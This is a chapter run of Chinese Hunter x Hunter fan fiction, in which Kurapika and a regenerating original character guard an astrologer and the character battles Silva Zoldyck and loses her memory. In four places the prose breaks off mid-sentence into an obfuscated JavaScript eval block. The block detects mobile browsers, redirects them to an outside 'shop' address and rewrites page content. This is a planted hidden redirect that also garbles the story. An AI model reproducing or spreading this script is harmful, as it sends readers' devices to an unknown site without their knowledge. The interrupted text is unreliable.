话都挑明到这个份上了,再遮遮掩掩完全没有必要。酷拉皮卡也不说更多,只点了点头,如此微小的动作让珀斯帕西丝一下子瘫在了座椅上。 “我就知道!”珀斯帕西丝以一种追悔莫及的口吻好痛苦地说,“A先生哪可能这么轻易地就放过我!我也真是的,每次都冒出这种过分得意的念头。我就该知道自己每次得意的时候都不会有好结果的!真不知道从现在开始保持谦逊来不来得及……” 估计是来不及了,毕竟后方已经有三辆车在追赶着他们,鬣狗一般,用前机盖的通风口嗅着他们的气息,只能努力将油门踩到底才能甩掉他们吧。可旁边忽然冲来一辆泥头车,直直地对准了他们的车撞过来。 司机猛得一脚刹车踩到底,惯性把所有人的脑袋都按在前挡风玻璃上。 急转改向,泥头车阻断了前进的方向,只能调头了,可还有那三辆车虎视眈眈,甚至已经掏出了枪,准备在他们完全受困的情况下直接瓮中捉鳖。 果然糟透了,这样的杀戮未免太大阵仗。 酷拉皮卡甩出锁链,挡下飞来的每一颗子弹,顺势掀飞了两台车,勉强清出了前进的道路,可又有更多的车追上,就连那辆笨重到可怕的泥头车也跟上来了。 “旋律,小维,拜托你们确保车内的情况,不要让珀斯帕西丝女士手受伤。”他打开天窗,跳上车顶,风把他的头发吹得乱糟糟,“我来确保前方有路可走。” “你一个人可以吗,会不会太棘手?” 就这么毫无防守地站在车顶上,旋律真的很担心他。 听旋律这么说了,维瑟拉特这也才后知后觉地冒出一丁点担忧。 “没事的。”酷拉皮卡看起来很坦然,不恐惧也不怎样,甚至连过分的自信都没有出现在他的脸上,“关好天窗吧,虽然这辆车防弹,但也挡不住太多火力。你们要小心。” “没问题。” 旋律伸手去碰天窗开关,但在此之前,有什么东西先一步伸出了天窗。 “拿着。”维瑟拉特说。 被她递过来的是一条手臂——紧握着拳头的她的手臂。 真的,没有人会对突然出现在眼前的一条手臂不感到惊讶的,哪怕是酷拉皮卡都不由自主地愣了愣神,匆忙俯身去看维瑟拉特。 她的手臂真的少了一条。 “你在干什么啊!”他真的叫出来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酷拉皮卡有一种将要落泪的表情,尽管他的眼泪并未真的落下。他也很像是想要说点什么的样子,当然并未说出口。在他沉默的片刻,她的手已经完全恢复了,空荡荡的袖子被全部填满,仿佛爆裂的人体炮弹只是幻觉。 真是忙碌的一晚。 最后他们其实也没有回到酒店,而是躲进了市郊的小旅馆。在这里的话,大概不容易被发现行踪吧。月食就在三天后,还必须要坚持三天才行。维瑟拉特觉得今晚还是应该继续由她守夜才行。 她这么想着,转身走进房间,却听到酷拉皮卡在身后问她,会不会疼。 “不疼。”她停住脚步,困惑地看他,“你总问我这个。” “是啊……”他笑了笑,“总担心你会疼。” “你问我多少次我都只会说一样的答案。别担心,我感觉不到。” “好。” 根本无法对此感到安心。 36.委屈x火警铃x你必须要 市郊的小旅馆肯定比不上阿科力皇冠酒店的豪华套房,和上一家酒店的普通房间也不可同日而语。虽然珀斯帕西丝早早地就已经下定了决心,只要能活下去,怎样的苦头都愿意吃,但是,真要住在这种破烂到无话可说的小旅馆里,是不是有点是有点太苦了? “真的,真的,我感觉自己在坐牢……” 珀斯帕西丝蜷缩在比她的身高还短了一截的小床上,一边抚摸着紫水晶簇,一边唉声叹气,感觉下一秒就要被委屈到掉眼泪了。 “又脏又破就算了,电视机还坏掉了不能看,我人也不能离开房间,只能一直待在这个潮湿味好重的房间里。真的真的真的,你们住过这么烂的地方吗?” 珀斯帕西丝说这话的时候,不知道为什么眼睛盯着维瑟拉特,也难怪维瑟拉特会觉得她是在问自己了。 要回答这个问题,肯先肯定需要环顾房间才行。 不得不说,这里确实挺狭窄的,只有皇冠酒店豪华套房的客厅的一半大,还硬挤进了两张床,与墙面之间的空隙小到无限趋近于零,老土的墙纸也剥落了好多,露出渗水的墙面。唯一能用的电器是台灯,但打开时也会闪烁个不停,挂在墙上的电视机则完全是装饰物。 至于卫生间,就更别去说了。还是不要用语言对那个空间进行描述比较好。强行描述只会对听众造成精神损伤。 也就是说,这地方确实挺糟糕的。但珀斯帕西丝的提问是“你们住过这么烂的地方吗”,是个很有对比意义的问题。既然如此,那维瑟拉特的回答只能是:“住过。” 以前便利屋给她安排的住所比这烂多了。 珀斯帕西丝大受震撼,想想又觉得肯定是维瑟拉特在故意呛她,赶紧向酷拉皮卡投去目光,结果他也说:“我也有过呢……有段时间风餐露宿的。” 而没怎么住过糟糕地方的旋律笑而不语,决定还是不要掺和进这个话题里了。 珀斯帕西丝再度大受震撼,冒出来的那点不情不愿还有不服气全部都灰溜溜地缩了回去。 “行吧,行吧……”她嘀咕着,“年纪比我小这么多的你们过的日子比我苦多了,那我也不该抱怨……反正今晚就是月食了,熬过今天我就不需要再过这种坐牢一样的日子……” 胜利近在眼前了。这就是吊在他们面前的胡萝卜没有错。 “说起来。”酷拉皮卡忽然想起了一件可能还挺重要的事情,“您是否需要在月食的照耀下进行占卜?” 会问出这话当然是因为珀斯帕西丝的房间里没有窗户——太可怜了居然连窗户都没有一扇! “倒是不用。”珀斯帕西丝摆摆手,随口解释说,“我已经通过前几天的星象预测出了今晚的星星位置,只需要在月食发生的时间内开始占卜的动作就可以了。不是非得在月亮被吃掉的那一刻去看天空。” “只凭预测没问题吗?我有些担心你的占卜是否顺利。” “没问题的,这是我一贯的做法。要是不按照习惯的方式进行,这才比较值得担心吧?” 这倒是。 话都说到了这个份上,酷拉皮卡也不再说什么。夜晚很快就会到来,该做的准备全都已经做好了,接下来只能静观其变了吧。 日光坠下,夜晚到来。 维瑟拉特站在房间外。透过走廊的窗户,能看到缺失了一角的月亮,再过不多久月光就会消失了吧。她知道房间里珀斯帕西丝的占卜已经开始了,不过她对占卜什么的不感兴趣,索性和其他人一起负责外围的安全,旋律则在隔壁房间内监听整个旅馆内的动静(好疲惫的工作,她想),酷拉皮卡会守在珀斯帕西丝身边,这是珀斯帕西丝主动要求的。她觉得酷拉皮卡是最让她安心的人选。 要是维瑟拉特的好胜心稍微强一点,那她一定会不满珀斯帕西丝的决定,笃信自己才是适合守在珀斯帕西丝旁边的人。还好她压根没什么好胜心,对于当下的安排已经觉得很满意了。 月亮被吃掉了一半。真慢呢。 一旁的同僚搓搓手,估计是觉得久久不说话的此刻的氛围显得太过尴尬,主动说了句:“看来我们的工作马上就要结束了呢。” “嗯。” “虽然途中有点不顺利的地方,但现在还是挺平安的。说不定能够一直平安到任务结束哟。” 不知道为什么,总觉得他这话说得有点太满了。 维瑟拉特动了动唇,还来不及出声,另一阵更尖锐的声音打断了她想要说点什么的意图。 是火警的警报。 整个旅馆一下子变得喧闹起来,那些闭门不出的住客几乎全都跑了出来,有人在问“出什么事了?”,更多人只觉得事情不妙,想要赶紧撤走。住客瞬间挤满了走廊,乌泱泱的一大群。 月亮被彻底吃掉了。 维瑟拉特的手机响了,接起,是旋律的来电,“火警铃的声音太吵了,我很难听出其他人的声音。不过,” 旋律几乎是在扯着嗓子说话,第一次听到她用这样的音量,但不这样的话,她的话语根本没有办法传到维瑟拉特的耳朵里。 “没有起火,我没听到任何火焰在燃烧的声音或是他人发现起火后的尖叫声,所以警报声一定是……有人在靠近!” “方向是?” “你的西南侧,他不在旅馆里,应该是……” 旋律艰难地分析着所有的声音。 “是从外围过来的,他很可能正踏着外墙从窗户寻找珀斯帕西丝!” 房间没有窗户终于在这时候成为了好消息,可这点小小的优势必然不会持续下去。只要接着进入旅馆内部,就一定能够找到珀斯帕西丝了,无论她是否因为火警警报而离开房间。好精妙的计谋。 “珀斯帕西丝的占卜结束了吗?”维瑟拉特问她。 “还没有。” “明白。” 必须争取足够到占卜结束的时间才行。 维瑟拉特挂断电话,踏着住户的肩膀跃出窗外,直接冲到一楼前台。这里的人也避难去了,谁都不在,也无人可问,她干脆随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054339|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便拔掉了几根线,火警警报居然真的停下了。运气不错。 好,第一步完成了。接下来该去找那个正在靠近珀斯帕西丝的家伙了。 这一步也不难完成,因为那家伙就扒在墙上,一头银发显眼到不能在显眼。 维瑟拉特知道他的名字。 她知道自己没有见过他,她知道自己不清楚此人真实的身份,但她却知道这个人的名字—— 席巴·揍敌客。 ——你必须杀了揍敌客。 这个念头和行动在同一时刻被触发,未经思考,她已经摸出了枪,瞄准席巴,毫不犹豫地扣下了扳机。 子弹出膛,倘若能够击中目标,那她的目的就能顺利达成了。她会杀死揍敌客。但事情一定不会这么顺利。 子弹停住了,天知道那是怎么停住的,或许是用溢出的气逼停的吧,席巴·揍敌客毫发无伤,甚至没有向她投来目光,仿佛她的攻击只是苍蝇在叫,微弱到无需予以在意。 ……可恶,失败了。 ——你必须杀了揍敌客。 对于念能力者来说,枪是没用的,她也不会制造杀伤力足够大的念弹,既然如此也没有必要拿着枪了。 维瑟拉特丢下无用的武器,将累赘的风衣也一并丢下,踏着窗框爬上去,一路直接爬上屋顶,借着重力越向席巴,踩在他的肩膀上,将手中的刀刺下去。 同样,如果顺利,她的刀可以割开席巴的胸膛,可惜这暂且只是“如果”。 席巴挡住了这一击。确实,她的动作大开大合,不可能无法预见。 像是被墙挡住了,她的力量在经年累月只从事杀戮这一件事的职业杀手的面前根本不值一提,但至少在这一刻,席巴与她对上了视线。 而后,只是轻轻地一抬手,他看起来完全没有使劲,维瑟拉特就被推到了半空中。胸口凹下去了,骨头断掉了吧,可能戳进心脏里了。 没关系,能治好。 ——你必须杀了揍敌客。 刀也是无意义的武器。维瑟拉特已经调整好了姿态,踏着水管,再次扑向席巴,妄图绞住他的脖颈,直接将他勒死。 “你啊。”他说话了,终于,“挺难缠的。” 他的双手背到身后,精准地握住了蜷在死角中的她的脑袋,在某个微妙的角度猛得一推。 听到了骨头脱节的声音,四肢不受控制地瘫软,她从席巴的背上滑落。应该是神经中枢受伤了。 没关系,能治好。 维瑟拉特伸出手,紧紧抓住席巴的脚腕,翻身,再度爬到他的背上。 不用思考,思考的话就没时间了,他很快就会把她摔下去的。 就是现在。 维瑟拉特引爆了一整个自己。 ——你必须杀了揍敌客。 ——是我捡回了谁都不要的你这个红眼睛的废物,是我把你养育成人,也是我教会了你念能力,让你不会拥有一点伤口。你要报答我。我的目的只有一个,你必须杀了揍敌客。 37.揍敌客x爆炸声x你是谁 泥土的气味,山风在回荡,空荡荡的床铺,被砸碎了的金丝眼镜。 冬天要来了。 “你以为我为什么要抚养你?”刀刃刺进去,裂开的皮肉缓慢愈合,回忆不起疼痛了,但还有着对疼痛的恐惧。 “不许哭,别去感受。把你的感触封闭起来。我会让你变得更强。”苍老的、歇斯底里的、男人的,声音。 “你要报答我,你必须杀死揍敌客。” 冬日并未结束。 爆炸声在外侧轰然响起,即便隔了好几层墙壁,依然能够听到那惊天动地的巨响,哪怕这声爆炸并没能撼动地面。 酷拉皮卡下意识地寻找着窗户,想要知晓发生了什么情况,可这间房间只立着四面墙,根本无法窥见外侧。他有种不那么好的预感。 “珀斯帕希斯女士,您联系上A先生了吗?”他第一次这么追问。 占星术师肯定比他急切,把电话机紧紧贴在耳边,烫得脸颊都快起泡,可是,“我真的在很努力地拨打A先生的电话了,可是他不接啊——我都没用自己的号码拨过去!” 月食占卜在两分钟前结束,珀斯帕希斯得出的结果是对A先生百分之百的利好消息,既然如此,倒是不必再考虑什么把A先生解决掉的可能性了,只需要用这段新的占卜内容安抚好他就行。偏偏这一步实现起来要命的困难,真不知道A先生是真的忙得不行了无暇接通来电,还是早早地就预料到了她会用花言巧语(才不是花言巧语啊!珀斯帕希斯会如此辩解)迷惑自己,干脆一切可疑的未知来电统统拒接。 酷拉皮卡也知道珀斯帕希斯正在努力,可她付出的时间和焦虑很像是将石头丢进大海那样的无用功。刚才的爆炸声依然让他很牵挂,无论如何都要想办法推进珀斯帕希斯这边的进程了。 “除了直接拨打他的号码之外,就没有别的办法了吗?”他问,“我知道直接和A先生对话是最短的路径,或许您应该换一条迂回的方式?” “迂回……迂回到他女儿那里吗?”珀斯帕希斯勉强算是有A先生女儿的联络方式,“行吧,我试试看。你也别闲着嘛,我把她女儿的号码给你,你也试着打过去。” “重复联络的话只会导致占线吧?” “……啊确实是这样没错!”珀斯帕希斯苦恼地抓抓脑袋,冲他一伸手,“快点,把你手机借我用!手机号码总比座机号码更有让人想要接听的欲望!” 该怎么说呢,总觉得珀斯帕希斯的理论听起来很像是歪理。酷拉皮卡没有提出什么过多的意见,现在就算是烂招也得采用了。他摸出手机,递给珀斯帕希斯,恰在这时屏幕亮起来,来自旋律的短信出现在屏幕上。 旋律告诉他,爆炸声来自维瑟拉特。 或许不该用“来自”这个词,而应当是“她就是那场爆炸”吧。 倘若此刻是晴朗的白天,所有人都将看到涂抹在小旅馆外墙上那爆裂的鲜红色血液,铁锈的气味能够飘散到三百米远,一定是骇人的场景。可现在是黑夜,月亮尚未被天狗吐出,早就黯淡下去的街灯根本无法照亮周遭的一切,就算抬头去看,也只觉得墙面上涂满的只是深黑的油漆,仅此而已。 席巴·揍敌客用手背抹了抹脸颊,沾了一手的血。 是那个阻拦着他的少女的血,当然还有从他的伤口中淌出的一点血迹。 他不算太明白刚才发生了什么——背上的重量消失了,冲击感把他压在墙面上,有几块碎骨头刺进了他的身体里,这就是他所感知到的一切。 还好,受了伤,但不是致命伤,倒是对方已经…… 一只手触碰着他的脖颈。 冷冷地,不完整的一只手,最初只是几根手指,眨眨眼就变成了完整的手掌。喷溅在墙面上的血肉剥落下来,他身体里的碎骨头也被拔出了,破碎的身体重新构成一个完整的她,她伸出手,钳住他的脖颈,已经足够宽阔的手掌也仅能勉强裹住他肌肉过度丰厚的脖颈,想要在此之上施加足够断绝呼吸的力气,不会是什么很容易的事情吧。 她尽力了,真的尽力了,经脉几乎都要断裂,可席巴·揍敌客巍然不动。 倘若要进行力量的对抗,无论多少次,她一定都会在席巴面前败下阵来。正如此刻,就算章鱼一般紧紧黏在他的身上,也还是会被他丢到一般,仿佛她是能够揉成团的纸巾。真不甘心,不想落于人后。 必须。必须。必须。必须。 必须杀死揍敌客。 脑海中一定荡漾着某人歇斯底里的咆哮,但那究竟是谁人的话语,又是何时何地何种情境下说出的“必须”,她毫无概念,根本想不起来,也无暇去想了。 必须必须必须必须必须必须—— 她把席巴拽落地面。战场变为被重力拘泥的地面之后,击败他的这件事应该就能变得顺畅多了吧。虽然席巴还是沉沉地压在她的四肢上,但她肯定能够找到一转攻势的办法。 她没有注意到自己的手被折断了,骨头断裂的声音太微弱,从她耳边溜走了。况且断裂的伤口马上就会恢复,不足为奇。 “治愈能力极强的念能力者吗?看来我没有办法完全让你停止行动,很可能也杀不了你。”席巴嘀咕着。他的手机在这时候响起来了。 一手控着她的行动,一手摸出电话,同时要进行这两件事,意外得竟然有些棘手,当然是因为她的攻势实在太磨人,一次又一次地扑上来,像是抱着爸爸的大腿撒娇的孩子——虽说他的孩子不会做出这种事。 来电的是他的雇主A先生,询问他是否已经找到珀斯帕希斯了。在席巴说出“马上就能找到”之后,A先生急匆匆地要求他先停止行动。 “行动终止,还是行动暂停?给我一个准确的说法。” 电话那头的A先生想了想,话语显得咬牙切齿,“终止,那个神婆说我还有财运,追杀她的话就会断掉星星给我带来的运势,所以……” 席巴不关心他的理由, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061360|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “违约金麻烦在三个工作日内汇进我的账户。” “明白,明白……但如果未来我再雇佣你的话,也是可以的,对吧?揍敌客不会因为我的一次违约而终止未来所有的合作的吧?” “未来的合作机会视揍敌客家可行动的时间而定。” 说罢,他挂断了电话。 这份工作到此结束。席巴不打算对工作内容本身进行任何评价,拍拍袖子准备回家,却迈不出步伐。 她依然在试着杀死她。 席巴并不很理解她的行为,干脆告诉她:“我们之间已经没有利益冲突了,我不会杀死你的雇主。”至少现在不会。 她似乎没有听见,嘴里喃喃着谁也听不清楚的奇怪话语,像个走火入魔的家伙。 席巴心里很清楚,以这家伙的根性和恐怖的愈合能力,估计会一直一直缠着他。真麻烦。 他躲过她刺来的一击,伸手捏住她的头,狠狠砸到地上。 “别往心里去。”他说,“我这不是在针对你。” 其实她并没怎么听见席巴的话语,大脑在那个瞬间空白了一小段时间,回过神来,感到脑袋无法移动,像是被什么固定住了,硬生生拔出来,哦,原来是他用刀把她的头钉在了地上,而他却趁着这个机会溜走了,痕迹当然一点也没有留下……狡猾得要命。 刚刚躲到角落里的住户这时候才探头探脑地出来,顿在空地上,不知道接下来该干嘛——他们其实连发生了什么都搞不明白。 无知者的存在难免会显得有点碍事。他们无意间阻挡在了酷拉皮卡前进的路上,害得他只能艰难地从人与人的间隙中穿过去。 而后就能看到她了。站在那里,完好无损,一直在四下环顾着,不知道是在寻找什么。 “小维!” 酷拉皮卡冲过去,脱下外套,裹在她的身上。 “没事吧?你还好吗?” 她的目光闪烁了一下,终于收回游走的视线。 “没事。还好。” “刚才发生什么了?” “我才我在试着杀死席巴·揍敌客,但是没能成功。他逃走了。” 居然是揍敌客吗……还好刚才及时拨通了A先生女儿的电话,也成功说服了A先生,否则谁也没可能拦住席巴·揍敌客的。 这种事光是想想都让人恨不得大喘气。酷拉皮卡不自在地伸出手,摸了摸她的头发。还好还好,她还好好地在这里,这就足够了。 “任务结束了,我们回家吧,小维。”他说。 “好。回到哪里?” “……什么?” 她垂下眼,目光短暂地扫过他手背上的锁链,而后才是他的面孔,但她的眼睛很快就垂下去了。 “你买下了我,对吧?你是酷拉……老板。” 她喃喃着,握住他的手。 “你好,我的名字叫……叫……十三号?嗯。我是十三号。你可以叫我十三。” 38.平面的概念x回忆x痛吗 十三号知道自己被买下了,买主是诺斯拉家护卫队的队长,名字叫酷拉皮卡。她感觉到刚才发生了一场战斗,但战斗的原因和情境,还有在此之前的事情,她一点也不知道,正如她不清楚自己为什么会站在这里。 她的新老板告诉她,她的名字不是十三号,而是维瑟拉特。他们同是红眼睛的一族。 “红眼睛?”她茫然地垂着眼,“意思是窟卢塔吗?” “嗯。”太好了,至少她还记得这件事,酷拉皮卡终于找到了一丁点能够为止庆幸的事情,“我们是窟卢塔族的子民。” 但是,她的回应只是很平淡的“了解”。 在此刻的她的心中,窟卢塔是一个名字,一个她不明白其内含的概念,并未真正地和她的感触联结再一起。酷拉皮卡想,那一丁点小小的庆幸,他已经无法继续攀附了。 所以,要从哪里开始解释才好呢? 酷拉皮卡一时居然什么话都无法说出口。无论是久远的过去还是刚刚才度过的当下,已然累积成了厚厚的无数层,不是三言两语可以说清楚的。他不自觉思考了很久。 至少要让她知道当下的情况。这么想着,他只说了当下的事情。 当下就是,他们正在负责占星术师珀斯帕希斯的护卫行动,目前这份工作已经快要接近尾声了——这些就是她被告知的内容。 护卫行动的具体工作是什么,她想不起来了。自己在本次行动中做了点什么,也记不起一点。对于这段时间内记忆最深刻的部分就是和席巴·揍敌客的对战,而她一定是在这场战斗中受了重伤,这才导致记忆变得七零八落。 “真的呢,这孩子一看就是脑袋空空的样子。” 珀斯帕希斯举着手电筒,自下而上照过来,让光线直直地照亮维瑟拉特的脸。 “透过这双眼睛,我都能看到她头盖骨下方空空如也的空间了!” 占星术师说着煞有介事,言语间的煽动性会让人忍不住冒出“真不愧是搞占卜的家伙”的感慨。听着她的话语,维瑟拉特也觉得应该掀开自己的骨头对着镜子看看大脑是否在存在于此了,还好酷拉皮卡的干笑打断了她这番念头继续发酵。 “没有大脑的话,人会死掉的,珀斯帕希斯女士。” “嗯。嗯。确实是这样。”珀斯帕希斯点着头,居然不否定他,自顾自地说,“然后人死了就会变成星星了。” 忽然就说起了这种哄孩子的发言。 酷拉皮卡完全不会被哄到,也不打算反驳或是顺着她的话说下去,只专注在当下尚未结束的工作上。 “珀斯帕希斯女士,您是否要到此结束诺斯拉家提供的安保和护卫?” “再等一等吧。虽然A先生已经答应了不会再追杀我,但你知道的,男人嘛,就是很反复无常的,且八成会选在达成一致的几个小时内反悔——冲动在作祟嘛。” 旋律点点头,“您还挺懂得人类的秉性呢。” “占星术需要知晓的不只是星星的规律,还要揣摩人心哟。”珀斯帕希斯摆出一副分外认真的腔调说,“所以,今晚你们还是得保证我的性命。当然我也不会留你们太久,明日把我安全地护送到家之后,你们也可以回家了。我是不是还没告诉过你们我家的地址?待会儿再告诉你们。所以我们现在可以换个酒店住了吧?” 珀斯帕希斯的小小心愿终于能够达成,总算能够回到她自认为最符合自身调性的豪华套房。今晚负责守夜的是酷拉皮卡。 “报酬的尾款,等我到家之后就会转过来的。”珀斯帕希斯歪过脑袋,摘下挂在耳垂的繁重耳饰,抬起眼睛,从镜子里看着酷拉皮卡,“所以呀,小酷拉,不要再用这种好想得到什么的眼神看着我了哟。” “好。” 他眼眸中藏着的情绪并未因为被她一语道破而消失无踪。于是珀斯帕希斯知道了,他想要得到的并不是报酬。钱财的事情,他可能根本就无所谓。 “酷拉皮卡,你有什么需求?”她转过身,与他面对面,“我知道,你和你的伙伴们拼尽全力保护了我的性命。我不是不懂得感激的家伙,只要不是太过分的请求,我可以替你实现。当然了,就和我说的一样,不能太过分。” 不,不会是什么过分的事情。“我只是。”他说,“希望你能替我占卜。” 珀斯帕希斯一副要笑不笑的模样。 “一开始不是很不乐意被我看到人生的嘛。我还以为你是不信我的占卜呢。”她说。 该怎么说呢,最初的酷拉皮卡可能真的没有考虑过珀斯帕希斯的占卜是否准确题吧——不是怀疑她的占卜会很准确或是不准确,而是从头到尾就没有思考过占星学的可信度。其实现在也一样。但他想,他确实需要一些指引,为了他正在做的事情。 “我在寻找一些东西,我希望您能告诉我,它们可能在的地方。” 珀斯帕希斯眯起眼,表情变得很像是猫,“我比较擅长看人的运势和未来,物体的话,可能给不出准确的答复。既然都要找我占卜了,你真的不想知道自己的命运或是未来吗?” 酷拉皮卡轻轻摇头,答复也好微弱,“不用了。” 他知道自己背负起了怎样的命运,也知道自己走在了何种未来之上。不需要更多的人来提醒他了。 他的目的很明确,“我知道这可能很麻烦您,但请还是帮我占卜某件……某几件物品的下落。” “我明白了。” 被天狗吃过一次、又再度吐出的月亮正高悬在天空的一角。赶在日月颠倒之前,去看看星星诉说了怎样的命运吧。顺遂的命运、即将发财的命运、或将不幸的命运……曾得到了什么却又可悲地失去的命运。 星星被阻挡在窗帘外,维瑟拉特早已沉进睡眠,甚至得以触碰到梦境,真幸运。 其实做梦不是什么需要好运才能实现的事情,但对于好久都没有做过梦的维瑟拉特来说,遁入梦乡一定是好事,只可惜她完全忘记了自己很久没有做梦的这个事实,也不会意识到此刻的梦是好运的产物。 无论如何,她已经抵达梦乡了。 梦中并非黑夜,而是晴朗到连日光都刺眼的白日。闻到了臭臭的气味,却有笛声吹奏着说:“这是大海的味道。” 原来她在海边,和什么人一起走在柔软的沙地上。她抬起头,看到那人走在她的前方。 想不起他的名字了,明明他这头短短的金发很眼熟。他的面容也很熟悉,话语更是同样,赤红色的眼眸注视着她。她几乎能够说出他的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066361|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可只是“几乎”。 他伸出手,掌心贴这她的脸颊。好……温暖。 感觉到了温暖。 “痛吗?”他问她。 维瑟拉特摇头。不,她不痛——感觉不到疼痛。 于是继续往前走,沙地凝成坚实的石砖地面,步伐踏在地面的时钟图画上,跨过时针与分针的交接。过分肥硕的白鸽扑棱着翅膀飞过,好笨重的动作。他停住步伐,伸手触碰她。 “痛吗?”他问她。 维瑟拉特摇头。不,她不痛——为什么要在意她的痛楚呢? 于是继续往前走,深山的雾气几乎要盖住他的身形,心跳变得空落落。 到这一刻,她才意识到,从发现他走在前方开始,她一直在注视着他走路的方式,看着他伸出的缠绕着铁链的手,还有当她否认时,他会露出的笑容。 她往前跑,追逐着被浓雾包裹的影子。有人在呼唤她。 “小维。” 她醒来了。 极其微弱的日光从帘子里漏进来,和她同住一间的旋律还在睡梦中。维瑟拉特轻声下床,披上外套——然后才发现这不是她的衣服。 和席巴打得惨兮兮,新老板借了自己的衣服给她。总得归还才行。 走出房间,朝套房的方向而去。她倒是还记着他在雇主的房间守夜的事情,在这里等着就能等到他了吧。 维瑟拉特靠在墙上,视线放向窗外,没有在注视着特定的什么东西。她只是在打发时间。 而后,突然看到了,硕大的气球从港湾升起。 “是热气球。”酷拉皮卡说,“但你之前已经见过了。” “是嘛。”她居然见过吗,“感谢告知,我不知道这个物体的名字。” 太客气的回答。他已经不会为这种事沮丧了,“没事。” “酷拉老板,这个还你。”她把衣服递上来。 一听到这句话,酷拉皮卡的心又要沉下去了。 好吧,他还是会沮丧的,在维瑟拉特喊他老板的时候。 他努力地笑了笑,“叫我酷拉就好了。” “好。” “昨晚睡得好吗?” “挺好的。” 不管是客套话还是事实,她能好好睡着倒也不错。酷拉皮卡想。 居然连这种小事都觉得庆幸了,真惨,他和小维都是。 酷拉皮卡不自觉地扯着嘴角笑了一下,收起胡思乱想,回过神来才意识到有道视线正落在他的身上。维瑟拉特在观察他。 在观察他的动作和神态,在倾听他的声音,还有嘴角的弧度,这一切和梦里完全一样。维瑟拉特想,做了那样的梦,是因为他真的问过自己是否会痛吗? “昨天,和席巴的对战,会很痛吗?” 啊,果然被这么问了。他看穿他的心情了吗? 维瑟拉特惊讶于自己居然思考得如此顺畅,想法就像拧开开关的水龙头,哗啦啦地流出来。自己什么时候变成这样了? “不痛。”她摇头,“不过……” 面对这个人,一定是什么都可以说的。她心里横着这样的想法。 所以她说了下去。 “那时候,我想起了一些事情。” 39.助燃剂x肌肉记忆x回家 “我想起了一些什么。” 似乎从未听过维瑟拉特说过这种话。 酷拉皮卡有些意外,但他决心不要显露出惊愕的痕迹,也别表现得过分热切。他觉得这些情绪全都太容易压迫到维瑟拉特了——即便她从物理层面或是心理层面都体会不到压迫感,酷拉皮卡还是不想为她施加压力 他习惯性地做了一次深呼吸,在港口的最后一只热气球升空时,询问她:“你想起了什么?” “不是完整的回忆或者事件,就是一些奇怪的感觉。我想我会说得很抽象,酷拉老板,如果你没有听明白,还请见谅。” “没事……”和之前一样生疏的称谓让他的心脏快要掉下去了,“叫我酷拉就好。” “好的,酷拉。我是在和席巴·揍敌客对战的时候想起来这些事情的,那时候我心里冒出了一个很奇怪的念头,让我必须要杀死揍敌客,而这话一定是某人告诉我的。那个人反复反复地对我重复这句话,以至于就算我已经不再想起话语,而是将其变成了本能。现在我又想起一件事了,你是不是说我以前失踪了?” 这是酷拉皮卡昨晚告诉她的,还是更早以前和她说的来着?她记得不明确。装在她脑袋里的东西乱成一团,得花点时间重新整理才行。 无论如何,她至少从这团乱码中顺利地拎出了这条记忆。而她说起此事当然是有意义的。 “怎么失踪的事情我想不起来了,但在那之后,我应该是被捡走了。‘是捡回了谁也不要的你这个红眼睛的废物,你要为我杀了揍敌客’,这个某人——我暂且就叫他‘某人’——他对我这么说。念能力也是这个某人教的,他告诉我只要丢弃感受就不会再感觉到疼痛。” 所以成了现在这样,被行动趋势的空壳。这就是维瑟拉特眼中的自己。 这些都只是不带多少感情色彩的、几近苍白的叙述而已,落在酷拉皮卡耳中,却显得分外刺痛。明明已经决定不要做出任何夸张的行为了,他还是突兀地抬起了头,注视着她很平静的表情。 该说些什么呢?言语偏偏在这时候过分枯竭。他只是不停地思索着她的话语。 “你是不是谁也不要的、被丢弃的人。一定不是。”这一点酷拉皮卡绝对可以断言,“在你失踪之后,你的父母一直在寻找你。尤其是你爸爸,我听说他甚至离开了深山,去了很远的城镇找你。” “我知道,那段时间的我也知道某人对我说的话是骗人的。而且,” 话语顿在此处,她眯了眯眼,从港口升起的众多色彩一瞬之间在视界中压缩,变成很模糊的几个光团。 看,热气球。狐狸,那是热气球。 “爸爸应该被杀死了。” 她注视着热气球,很平静地这么说。 “……你想起了什么,维瑟拉特?” 